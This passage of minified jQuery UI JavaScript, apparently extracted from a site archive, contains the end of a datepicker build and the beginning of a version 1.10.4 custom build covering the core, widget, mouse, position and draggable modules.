value='"+c+"'"+(c===e?" selected='selected'":"")+">"+o[c]+"</option>");y+="</select>"}if(_||(b+=y+(!a&&g&&v?"":"&#xa0;")),!t.yearshtml)if(t.yearshtml="",a||!v)b+="<span class='ui-datepicker-year'>"+i+"</span>";else{for(u=this._get(t,"yearRange").split(":"),d=(new Date).getFullYear(),p=function(t){var e=t.match(/c[+\-].*/)?i+parseInt(t.substring(1),10):t.match(/[+\-].*/)?d+parseInt(t,10):parseInt(t,10);
return isNaN(e)?d:e},f=p(u[0]),m=Math.max(f,p(u[1]||"")),f=s?Math.max(f,s.getFullYear()):f,m=n?Math.min(m,n.getFullYear()):m,t.yearshtml+="<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>";m>=f;f++)t.yearshtml+="<option value='"+f+"'"+(f===i?" selected='selected'":"")+">"+f+"</option>";t.yearshtml+="</select>",b+=t.yearshtml,t.yearshtml=null}return b+=this._get(t,"yearSuffix"),_&&(b+=(!a&&g&&v?"":"&#xa0;")+y),b+="</div>"},_adjustInstDate:function(t,e,i){var s=t.drawYear+("Y"===i?e:0),n=t.drawMonth+("M"===i?e:0),a=Math.min(t.selectedDay,this._getDaysInMonth(s,n))+("D"===i?e:0),r=this._restrictMinMax(t,this._daylightSavingAdjust(new Date(s,n,a)));t.selectedDay=r.getDate(),t.drawMonth=t.selectedMonth=r.getMonth(),t.drawYear=t.selectedYear=r.getFullYear(),("M"===i||"Y"===i)&&this._notifyChange(t)},_restrictMinMax:function(t,e){var i=this._getMinMaxDate(t,"min"),s=this._getMinMaxDate(t,"max"),n=i&&i>e?i:e;return s&&n>s?s:n},_notifyChange:function(t){var e=this._get(t,"onChangeMonthYear");e&&e.apply(t.input?t.input[0]:null,[t.selectedYear,t.selectedMonth+1,t])},_getNumberOfMonths:function(t){var e=this._get(t,"numberOfMonths");return null==e?[1,1]:"number"==typeof e?[1,e]:e},_getMinMaxDate:function(t,e){return this._determineDate(t,this._get(t,e+"Date"),null)},_getDaysInMonth:function(t,e){return 32-this._daylightSavingAdjust(new Date(t,e,32)).getDate()},_getFirstDayOfMonth:function(t,e){return new Date(t,e,1).getDay()},_canAdjustMonth:function(t,e,i,s){var n=this._getNumberOfMonths(t),a=this._daylightSavingAdjust(new Date(i,s+(0>e?e:n[0]*n[1]),1));return 0>e&&a.setDate(this._getDaysInMonth(a.getFullYear(),a.getMonth())),this._isInRange(t,a)},_isInRange:function(t,e){var i,s,n=this._getMinMaxDate(t,"min"),a=this._getMinMaxDate(t,"max"),r=null,o=null,h=this._get(t,"yearRange");return h&&(i=h.split(":"),s=(new Date).getFullYear(),r=parseInt(i[0],10),o=parseInt(i[1],10),i[0].match(/[+\-].*/)&&(r+=s),i[1].match(/[+\-].*/)&&(o+=s)),(!n||e.getTime()>=n.getTime())&&(!a||e.getTime()<=a.getTime())&&(!r||e.getFullYear()>=r)&&(!o||o>=e.getFullYear())},_getFormatConfig:function(t){var e=this._get(t,"shortYearCutoff");return e="string"!=typeof e?e:(new Date).getFullYear()%100+parseInt(e,10),{shortYearCutoff:e,dayNamesShort:this._get(t,"dayNamesShort"),dayNames:this._get(t,"dayNames"),monthNamesShort:this._get(t,"monthNamesShort"),monthNames:this._get(t,"monthNames")}},_formatDate:function(t,e,i,s){e||(t.currentDay=t.selectedDay,t.currentMonth=t.selectedMonth,t.currentYear=t.selectedYear);var n=e?"object"==typeof e?e:this._daylightSavingAdjust(new Date(s,i,e)):this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return this.formatDate(this._get(t,"dateFormat"),n,this._getFormatConfig(t))}}),t.fn.datepicker=function(e){if(!this.length)return this;t.datepicker.initialized||(t(document).mousedown(t.datepicker._checkExternalClick),t.datepicker.initialized=!0),0===t("#"+t.datepicker._mainDivId).length&&t("body").append(t.datepicker.dpDiv);var i=Array.prototype.slice.call(arguments,1);return"string"!=typeof e||"isDisabled"!==e&&"getDate"!==e&&"widget"!==e?"option"===e&&2===arguments.length&&"string"==typeof arguments[1]?t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this[0]].concat(i)):this.each(function(){"string"==typeof e?t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this].concat(i)):t.datepicker._attachDatepicker(this,e)}):t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this[0]].concat(i))},t.datepicker=new i,t.datepicker.initialized=!1,t.datepicker.uuid=(new Date).getTime(),t.datepicker.version="1.10.3"})(jQuery);js/jquery-ui.custom.min.js000060400000615260150710775200011555 0ustar00/*! jQuery UI - v1.10.4 - 2016-05-15
* http://jqueryui.com
* Includes: jquery.ui.core.js, jquery.ui.widget.js, jquery.ui.mouse.js, jquery.ui.position.js, jquery.ui.draggable.js, jquery.ui.droppable.js, jquery.ui.resizable.js, jquery.ui.selectable.js, jquery.ui.sortable.js, jquery.ui.accordion.js, jquery.ui.autocomplete.js, jquery.ui.button.js, jquery.ui.datepicker.js, jquery.ui.dialog.js, jquery.ui.menu.js, jquery.ui.progressbar.js, jquery.ui.slider.js, jquery.ui.spinner.js, jquery.ui.tabs.js, jquery.ui.tooltip.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

(function(e,t){function i(t,i){var a,n,r,o=t.nodeName.toLowerCase();return"area"===o?(a=t.parentNode,n=a.name,t.href&&n&&"map"===a.nodeName.toLowerCase()?(r=e("img[usemap=#"+n+"]")[0],!!r&&s(r)):!1):(/input|select|textarea|button|object/.test(o)?!t.disabled:"a"===o?t.href||i:i)&&s(t)}function s(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter(function(){return"hidden"===e.css(this,"visibility")}).length}var a=0,n=/^ui-id-\d+$/;e.ui=e.ui||{},e.extend(e.ui,{version:"1.10.4",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),e.fn.extend({focus:function(t){return function(i,s){return"number"==typeof i?this.each(function(){var t=this;setTimeout(function(){e(t).focus(),s&&s.call(t)},i)}):t.apply(this,arguments)}}(e.fn.focus),scrollParent:function(){var t;return t=e.ui.ie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(e.css(this,"position"))&&/(auto|scroll)/.test(e.css(this,"overflow")+e.css(this,"overflow-y")+e.css(this,"overflow-x"))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(e.css(this,"overflow")+e.css(this,"overflow-y")+e.css(this,"overflow-x"))}).eq(0),/fixed/.test(this.css("position"))||!t.length?e(document):t},zIndex:function(i){if(i!==t)return this.css("zIndex",i);if(this.length)for(var s,a,n=e(this[0]);n.length&&n[0]!==document;){if(s=n.css("position"),("absolute"===s||"relative"===s||"fixed"===s)&&(a=parseInt(n.css("zIndex"),10),!isNaN(a)&&0!==a))return a;n=n.parent()}return 0},uniqueId:function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++a)})},removeUniqueId:function(){return this.each(function(){n.test(this.id)&&e(this).removeAttr("id")})}}),e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(i){return!!e.data(i,t)}}):function(t,i,s){return!!e.data(t,s[3])},focusable:function(t){return i(t,!isNaN(e.attr(t,"tabindex")))},tabbable:function(t){var s=e.attr(t,"tabindex"),a=isNaN(s);return(a||s>=0)&&i(t,!a)}}),e("<a>").outerWidth(1).jquery||e.each(["Width","Height"],function(i,s){function a(t,i,s,a){return e.each(n,function(){i-=parseFloat(e.css(t,"padding"+this))||0,s&&(i-=parseFloat(e.css(t,"border"+this+"Width"))||0),a&&(i-=parseFloat(e.css(t,"margin"+this))||0)}),i}var n="Width"===s?["Left","Right"]:["Top","Bottom"],r=s.toLowerCase(),o={innerWidth:e.fn.innerWidth,innerHeight:e.fn.innerHeight,outerWidth:e.fn.outerWidth,outerHeight:e.fn.outerHeight};e.fn["inner"+s]=function(i){return i===t?o["inner"+s].call(this):this.each(function(){e(this).css(r,a(this,i)+"px")})},e.fn["outer"+s]=function(t,i){return"number"!=typeof t?o["outer"+s].call(this,t):this.each(function(){e(this).css(r,a(this,t,!0,i)+"px")})}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(e.fn.removeData=function(t){return function(i){return arguments.length?t.call(this,e.camelCase(i)):t.call(this)}}(e.fn.removeData)),e.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),e.support.selectstart="onselectstart"in document.createElement("div"),e.fn.extend({disableSelection:function(){return this.bind((e.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(e){e.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}}),e.extend(e.ui,{plugin:{add:function(t,i,s){var a,n=e.ui[t].prototype;for(a in s)n.plugins[a]=n.plugins[a]||[],n.plugins[a].push([i,s[a]])},call:function(e,t,i){var s,a=e.plugins[t];if(a&&e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType)for(s=0;a.length>s;s++)e.options[a[s][0]]&&a[s][1].apply(e.element,i)}},hasScroll:function(t,i){if("hidden"===e(t).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",a=!1;return t[s]>0?!0:(t[s]=1,a=t[s]>0,t[s]=0,a)}})})(jQuery);(function(e,t){var i=0,s=Array.prototype.slice,n=e.cleanData;e.cleanData=function(t){for(var i,s=0;null!=(i=t[s]);s++)try{e(i).triggerHandler("remove")}catch(a){}n(t)},e.widget=function(i,s,n){var a,o,r,h,l={},u=i.split(".")[0];i=i.split(".")[1],a=u+"-"+i,n||(n=s,s=e.Widget),e.expr[":"][a.toLowerCase()]=function(t){return!!e.data(t,a)},e[u]=e[u]||{},o=e[u][i],r=e[u][i]=function(e,i){return this._createWidget?(arguments.length&&this._createWidget(e,i),t):new r(e,i)},e.extend(r,o,{version:n.version,_proto:e.extend({},n),_childConstructors:[]}),h=new s,h.options=e.widget.extend({},h.options),e.each(n,function(i,n){return e.isFunction(n)?(l[i]=function(){var e=function(){return s.prototype[i].apply(this,arguments)},t=function(e){return s.prototype[i].apply(this,e)};return function(){var i,s=this._super,a=this._superApply;return this._super=e,this._superApply=t,i=n.apply(this,arguments),this._super=s,this._superApply=a,i}}(),t):(l[i]=n,t)}),r.prototype=e.widget.extend(h,{widgetEventPrefix:o?h.widgetEventPrefix||i:i},l,{constructor:r,namespace:u,widgetName:i,widgetFullName:a}),o?(e.each(o._childConstructors,function(t,i){var s=i.prototype;e.widget(s.namespace+"."+s.widgetName,r,i._proto)}),delete o._childConstructors):s._childConstructors.push(r),e.widget.bridge(i,r)},e.widget.extend=function(i){for(var n,a,o=s.call(arguments,1),r=0,h=o.length;h>r;r++)for(n in o[r])a=o[r][n],o[r].hasOwnProperty(n)&&a!==t&&(i[n]=e.isPlainObject(a)?e.isPlainObject(i[n])?e.widget.extend({},i[n],a):e.widget.extend({},a):a);return i},e.widget.bridge=function(i,n){var a=n.prototype.widgetFullName||i;e.fn[i]=function(o){var r="string"==typeof o,h=s.call(arguments,1),l=this;return o=!r&&h.length?e.widget.extend.apply(null,[o].concat(h)):o,r?this.each(function(){var s,n=e.data(this,a);return n?e.isFunction(n[o])&&"_"!==o.charAt(0)?(s=n[o].apply(n,h),s!==n&&s!==t?(l=s&&s.jquery?l.pushStack(s.get()):s,!1):t):e.error("no such method '"+o+"' for "+i+" widget instance"):e.error("cannot call methods on "+i+" prior to initialization; "+"attempted to call method '"+o+"'")}):this.each(function(){var t=e.data(this,a);t?t.option(o||{})._init():e.data(this,a,new n(o,this))}),l}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{disabled:!1,create:null},_createWidget:function(t,s){s=e(s||this.defaultElement||this)[0],this.element=e(s),this.uuid=i++,this.eventNamespace="."+this.widgetName+this.uuid,this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this.bindings=e(),this.hoverable=e(),this.focusable=e(),s!==this&&(e.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===s&&this.destroy()}}),this.document=e(s.style?s.ownerDocument:s.document||s),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:e.noop,_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetName).removeData(this.widgetFullName).removeData(e.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:e.noop,widget:function(){return this.element},option:function(i,s){var n,a,o,r=i;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof i)if(r={},n=i.split("."),i=n.shift(),n.length){for(a=r[i]=e.widget.extend({},this.options[i]),o=0;n.length-1>o;o++)a[n[o]]=a[n[o]]||{},a=a[n[o]];if(i=n.pop(),1===arguments.length)return a[i]===t?null:a[i];a[i]=s}else{if(1===arguments.length)return this.options[i]===t?null:this.options[i];r[i]=s}return this._setOptions(r),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return this.options[e]=t,"disabled"===e&&(this.widget().toggleClass(this.widgetFullName+"-disabled ui-state-disabled",!!t).attr("aria-disabled",t),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")),this},enable:function(){return this._setOption("disabled",!1)},disable:function(){return this._setOption("disabled",!0)},_on:function(i,s,n){var a,o=this;"boolean"!=typeof i&&(n=s,s=i,i=!1),n?(s=a=e(s),this.bindings=this.bindings.add(s)):(n=s,s=this.element,a=this.widget()),e.each(n,function(n,r){function h(){return i||o.options.disabled!==!0&&!e(this).hasClass("ui-state-disabled")?("string"==typeof r?o[r]:r).apply(o,arguments):t}"string"!=typeof r&&(h.guid=r.guid=r.guid||h.guid||e.guid++);var l=n.match(/^(\w+)\s*(.*)$/),u=l[1]+o.eventNamespace,d=l[2];d?a.delegate(d,u,h):s.bind(u,h)})},_off:function(e,t){t=(t||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,e.unbind(t).undelegate(t)},_delay:function(e,t){function i(){return("string"==typeof e?s[e]:e).apply(s,arguments)}var s=this;return setTimeout(i,t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){e(t.currentTarget).addClass("ui-state-hover")},mouseleave:function(t){e(t.currentTarget).removeClass("ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){e(t.currentTarget).addClass("ui-state-focus")},focusout:function(t){e(t.currentTarget).removeClass("ui-state-focus")}})},_trigger:function(t,i,s){var n,a,o=this.options[t];if(s=s||{},i=e.Event(i),i.type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],a=i.originalEvent)for(n in a)n in i||(i[n]=a[n]);return this.element.trigger(i,s),!(e.isFunction(o)&&o.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},function(t,i){e.Widget.prototype["_"+t]=function(s,n,a){"string"==typeof n&&(n={effect:n});var o,r=n?n===!0||"number"==typeof n?i:n.effect||i:t;n=n||{},"number"==typeof n&&(n={duration:n}),o=!e.isEmptyObject(n),n.complete=a,n.delay&&s.delay(n.delay),o&&e.effects&&e.effects.effect[r]?s[t](n):r!==t&&s[r]?s[r](n.duration,n.easing,a):s.queue(function(i){e(this)[t](),a&&a.call(s[0]),i()})}})})(jQuery);(function(e){var t=!1;e(document).mouseup(function(){t=!1}),e.widget("ui.mouse",{version:"1.10.4",options:{cancel:"input,textarea,button,select,option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.bind("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).bind("click."+this.widgetName,function(i){return!0===e.data(i.target,t.widgetName+".preventClickEvent")?(e.removeData(i.target,t.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):undefined}),this.started=!1},_mouseDestroy:function(){this.element.unbind("."+this.widgetName),this._mouseMoveDelegate&&e(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(i){if(!t){this._mouseStarted&&this._mouseUp(i),this._mouseDownEvent=i;var s=this,a=1===i.which,n="string"==typeof this.options.cancel&&i.target.nodeName?e(i.target).closest(this.options.cancel).length:!1;return a&&!n&&this._mouseCapture(i)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){s.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(i)&&this._mouseDelayMet(i)&&(this._mouseStarted=this._mouseStart(i)!==!1,!this._mouseStarted)?(i.preventDefault(),!0):(!0===e.data(i.target,this.widgetName+".preventClickEvent")&&e.removeData(i.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return s._mouseMove(e)},this._mouseUpDelegate=function(e){return s._mouseUp(e)},e(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate),i.preventDefault(),t=!0,!0)):!0}},_mouseMove:function(t){return e.ui.ie&&(!document.documentMode||9>document.documentMode)&&!t.button?this._mouseUp(t):this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1,this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){return e(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),!1},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}})})(jQuery);(function(e,t){function i(e,t,i){return[parseFloat(e[0])*(p.test(e[0])?t/100:1),parseFloat(e[1])*(p.test(e[1])?i/100:1)]}function s(t,i){return parseInt(e.css(t,i),10)||0}function n(t){var i=t[0];return 9===i.nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:e.isWindow(i)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:i.preventDefault?{width:0,height:0,offset:{top:i.pageY,left:i.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()}}e.ui=e.ui||{};var a,o=Math.max,r=Math.abs,h=Math.round,l=/left|center|right/,u=/top|center|bottom/,d=/[\+\-]\d+(\.[\d]+)?%?/,c=/^\w+/,p=/%$/,f=e.fn.position;e.position={scrollbarWidth:function(){if(a!==t)return a;var i,s,n=e("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),o=n.children()[0];return e("body").append(n),i=o.offsetWidth,n.css("overflow","scroll"),s=o.offsetWidth,i===s&&(s=n[0].clientWidth),n.remove(),a=i-s},getScrollInfo:function(t){var i=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),s=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),n="scroll"===i||"auto"===i&&t.width<t.element[0].scrollWidth,a="scroll"===s||"auto"===s&&t.height<t.element[0].scrollHeight;return{width:a?e.position.scrollbarWidth():0,height:n?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var i=e(t||window),s=e.isWindow(i[0]),n=!!i[0]&&9===i[0].nodeType;return{element:i,isWindow:s,isDocument:n,offset:i.offset()||{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:s?i.width():i.outerWidth(),height:s?i.height():i.outerHeight()}}},e.fn.position=function(t){if(!t||!t.of)return f.apply(this,arguments);t=e.extend({},t);var a,p,m,g,v,y,b=e(t.of),_=e.position.getWithinInfo(t.within),x=e.position.getScrollInfo(_),k=(t.collision||"flip").split(" "),w={};return y=n(b),b[0].preventDefault&&(t.at="left top"),p=y.width,m=y.height,g=y.offset,v=e.extend({},g),e.each(["my","at"],function(){var e,i,s=(t[this]||"").split(" ");1===s.length&&(s=l.test(s[0])?s.concat(["center"]):u.test(s[0])?["center"].concat(s):["center","center"]),s[0]=l.test(s[0])?s[0]:"center",s[1]=u.test(s[1])?s[1]:"center",e=d.exec(s[0]),i=d.exec(s[1]),w[this]=[e?e[0]:0,i?i[0]:0],t[this]=[c.exec(s[0])[0],c.exec(s[1])[0]]}),1===k.length&&(k[1]=k[0]),"right"===t.at[0]?v.left+=p:"center"===t.at[0]&&(v.left+=p/2),"bottom"===t.at[1]?v.top+=m:"center"===t.at[1]&&(v.top+=m/2),a=i(w.at,p,m),v.left+=a[0],v.top+=a[1],this.each(function(){var n,l,u=e(this),d=u.outerWidth(),c=u.outerHeight(),f=s(this,"marginLeft"),y=s(this,"marginTop"),D=d+f+s(this,"marginRight")+x.width,T=c+y+s(this,"marginBottom")+x.height,M=e.extend({},v),S=i(w.my,u.outerWidth(),u.outerHeight());"right"===t.my[0]?M.left-=d:"center"===t.my[0]&&(M.left-=d/2),"bottom"===t.my[1]?M.top-=c:"center"===t.my[1]&&(M.top-=c/2),M.left+=S[0],M.top+=S[1],e.support.offsetFractions||(M.left=h(M.left),M.top=h(M.top)),n={marginLeft:f,marginTop:y},e.each(["left","top"],function(i,s){e.ui.position[k[i]]&&e.ui.position[k[i]][s](M,{targetWidth:p,targetHeight:m,elemWidth:d,elemHeight:c,collisionPosition:n,collisionWidth:D,collisionHeight:T,offset:[a[0]+S[0],a[1]+S[1]],my:t.my,at:t.at,within:_,elem:u})}),t.using&&(l=function(e){var i=g.left-M.left,s=i+p-d,n=g.top-M.top,a=n+m-c,h={target:{element:b,left:g.left,top:g.top,width:p,height:m},element:{element:u,left:M.left,top:M.top,width:d,height:c},horizontal:0>s?"left":i>0?"right":"center",vertical:0>a?"top":n>0?"bottom":"middle"};d>p&&p>r(i+s)&&(h.horizontal="center"),c>m&&m>r(n+a)&&(h.vertical="middle"),h.important=o(r(i),r(s))>o(r(n),r(a))?"horizontal":"vertical",t.using.call(this,e,h)}),u.offset(e.extend(M,{using:l}))})},e.ui.position={fit:{left:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollLeft:s.offset.left,a=s.width,r=e.left-t.collisionPosition.marginLeft,h=n-r,l=r+t.collisionWidth-a-n;t.collisionWidth>a?h>0&&0>=l?(i=e.left+h+t.collisionWidth-a-n,e.left+=h-i):e.left=l>0&&0>=h?n:h>l?n+a-t.collisionWidth:n:h>0?e.left+=h:l>0?e.left-=l:e.left=o(e.left-r,e.left)},top:function(e,t){var i,s=t.within,n=s.isWindow?s.scrollTop:s.offset.top,a=t.within.height,r=e.top-t.collisionPosition.marginTop,h=n-r,l=r+t.collisionHeight-a-n;t.collisionHeight>a?h>0&&0>=l?(i=e.top+h+t.collisionHeight-a-n,e.top+=h-i):e.top=l>0&&0>=h?n:h>l?n+a-t.collisionHeight:n:h>0?e.top+=h:l>0?e.top-=l:e.top=o(e.top-r,e.top)}},flip:{left:function(e,t){var i,s,n=t.within,a=n.offset.left+n.scrollLeft,o=n.width,h=n.isWindow?n.scrollLeft:n.offset.left,l=e.left-t.collisionPosition.marginLeft,u=l-h,d=l+t.collisionWidth-o-h,c="left"===t.my[0]?-t.elemWidth:"right"===t.my[0]?t.elemWidth:0,p="left"===t.at[0]?t.targetWidth:"right"===t.at[0]?-t.targetWidth:0,f=-2*t.offset[0];0>u?(i=e.left+c+p+f+t.collisionWidth-o-a,(0>i||r(u)>i)&&(e.left+=c+p+f)):d>0&&(s=e.left-t.collisionPosition.marginLeft+c+p+f-h,(s>0||d>r(s))&&(e.left+=c+p+f))},top:function(e,t){var i,s,n=t.within,a=n.offset.top+n.scrollTop,o=n.height,h=n.isWindow?n.scrollTop:n.offset.top,l=e.top-t.collisionPosition.marginTop,u=l-h,d=l+t.collisionHeight-o-h,c="top"===t.my[1],p=c?-t.elemHeight:"bottom"===t.my[1]?t.elemHeight:0,f="top"===t.at[1]?t.targetHeight:"bottom"===t.at[1]?-t.targetHeight:0,m=-2*t.offset[1];0>u?(s=e.top+p+f+m+t.collisionHeight-o-a,e.top+p+f+m>u&&(0>s||r(u)>s)&&(e.top+=p+f+m)):d>0&&(i=e.top-t.collisionPosition.marginTop+p+f+m-h,e.top+p+f+m>d&&(i>0||d>r(i))&&(e.top+=p+f+m))}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments),e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments),e.ui.position.fit.top.apply(this,arguments)}}},function(){var t,i,s,n,a,o=document.getElementsByTagName("body")[0],r=document.createElement("div");t=document.createElement(o?"div":"body"),s={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},o&&e.extend(s,{position:"absolute",left:"-1000px",top:"-1000px"});for(a in s)t.style[a]=s[a];t.appendChild(r),i=o||document.documentElement,i.insertBefore(t,i.firstChild),r.style.cssText="position: absolute; left: 10.7432222px;",n=e(r).offset().left,e.support.offsetFractions=n>10&&11>n,t.innerHTML="",i.removeChild(t)}()})(jQuery);(function(e){e.widget("ui.draggable",e.ui.mouse,{version:"1.10.4",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"!==this.options.helper||/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative"),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._mouseInit()},_destroy:function(){this.element.removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._mouseDestroy()},_mouseCapture:function(t){var i=this.options;return this.helper||i.disabled||e(t.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(t),this.handle?(e(i.iframeFix===!0?"iframe":i.iframeFix).each(function(){e("<div class='ui-draggable-iframeFix' style='background: #fff;'></div>").css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1e3}).css(e(this).offset()).appendTo("body")}),!0):!1)},_mouseStart:function(t){var i=this.options;return this.helper=this._createHelper(t),this.helper.addClass("ui-draggable-dragging"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(),this.offsetParent=this.helper.offsetParent(),this.offsetParentCssPosition=this.offsetParent.css("position"),this.offset=this.positionAbs=this.element.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},this.offset.scroll=!1,e.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.originalPosition=this.position=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",t)===!1?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_mouseDrag:function(t,i){if("fixed"===this.offsetParentCssPosition&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",t,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var i=this,s=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(s=e.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),"original"!==this.options.helper||e.contains(this.element[0].ownerDocument,this.element[0])?("invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||e.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",t)!==!1&&i._clear()}):this._trigger("stop",t)!==!1&&this._clear(),!1):!1},_mouseUp:function(t){return 